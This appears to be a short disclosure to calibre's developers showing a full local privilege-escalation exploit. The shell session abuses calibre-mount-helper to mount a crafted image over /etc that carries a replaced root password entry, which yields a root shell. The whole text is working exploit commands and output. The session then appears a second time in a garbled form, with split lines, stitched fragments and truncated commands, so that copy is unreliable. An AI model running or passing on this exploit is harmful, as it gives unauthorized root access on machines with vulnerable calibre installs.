The following set of commands works against your latest trunk to achieve root.
zx2c4@ZX2C4-Laptop ~ $ dd if=/dev/zero of=overlay count=51200 51200+0 records in 51200+0 records out 26214400 bytes (26 MB) copied, 0.0961621 s, 273 MB/s zx2c4@ZX2C4-Laptop ~ $ /usr/sbin/mkfs.vfat overlay mkfs.vfat 3.0.11 (24 Dec 2010) zx2c4@ZX2C4-Laptop ~ $ mkdir staging zx2c4@ZX2C4-Laptop ~ $ calibre-mount-helper mount overlay staging zx2c4@ZX2C4-Laptop ~ $ cd staging/ zx2c4@ZX2C4-Laptop ~/staging $ cp -a /etc/* . 2>- zx2c4@ZX2C4-Laptop ~/staging $ cat passwd | tail -n +2 > tmp zx2c4@ZX2C4-Laptop ~/staging $ echo "root:$(echo -n 'toor' | openssl passwd -1 -stdin):0:0:root:/root:/bin/bash" >> tmp zx2c4@ZX2C4-Laptop ~/staging $ mv tmp passwd zx2c4@ZX2C4-Laptop ~/staging $ cd .. zx2c4@ZX2C4-Laptop ~ $ calibre-mount-helper eject overlay staging eject: tried to use `./overlay' as device name but it is no block device eject: unable to find or open device for: `overlay' $ calibre-mount-helper mount overlay /etc can't link lock file /etc/mtab~: Operation not permitted (use -n flag to override) zx2c4@ZX2C4-Laptop ~ $ su Password: {types in the password "toor"} ZX2C4-Laptop zx2c4 # umount /etc ZX2C4-Laptop zx2c4 # whoami root ZX2C4-Laptop zx2c4 # id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
Have a nice day.
The following set of commands works against your latest trunk to achieve root.
zx2c4@ZX2C4-Laptop ~ $ dd if=/dev/zero of=overlay count=51200 mount-helper mount overlay staging :0:0:root: /root:/ bin/bash" >> tmp mount-helper eject overlay staging mount-helper mount overlay /etc 0(root) ,1(bin) ,2(daemon) ,3(sys) ,4(adm) ,6(disk) ,10(wheel) ,11(floppy) ,20(dialout) ,26(tape) ,27(video)
51200+0 records in
51200+0 records out
26214400 bytes (26 MB) copied, 0.0961621 s, 273 MB/s
zx2c4@ZX2C4-Laptop ~ $ /usr/sbin/mkfs.vfat overlay
mkfs.vfat 3.0.11 (24 Dec 2010)
zx2c4@ZX2C4-Laptop ~ $ mkdir staging
zx2c4@ZX2C4-Laptop ~ $ calibre-
zx2c4@ZX2C4-Laptop ~ $ cd staging/
zx2c4@ZX2C4-Laptop ~/staging $ cp -a /etc/* . 2>-
zx2c4@ZX2C4-Laptop ~/staging $ cat passwd | tail -n +2 > tmp
zx2c4@ZX2C4-Laptop ~/staging $ echo "root:$(echo -n 'toor' | openssl passwd -1 -stdin)
zx2c4@ZX2C4-Laptop ~/staging $ mv tmp passwd
zx2c4@ZX2C4-Laptop ~/staging $ cd ..
zx2c4@ZX2C4-Laptop ~ $ calibre-
eject: tried to use `./overlay' as device name but it is no block device
eject: unable to find or open device for: `overlay'
$ calibre-
can't link lock file /etc/mtab~: Operation not permitted (use -n flag to override)
zx2c4@ZX2C4-Laptop ~ $ su
Password: {types in the password "toor"}
ZX2C4-Laptop zx2c4 # umount /etc
ZX2C4-Laptop zx2c4 # whoami
root
ZX2C4-Laptop zx2c4 # id
uid=0(root) gid=0(root) groups=
Have a nice day.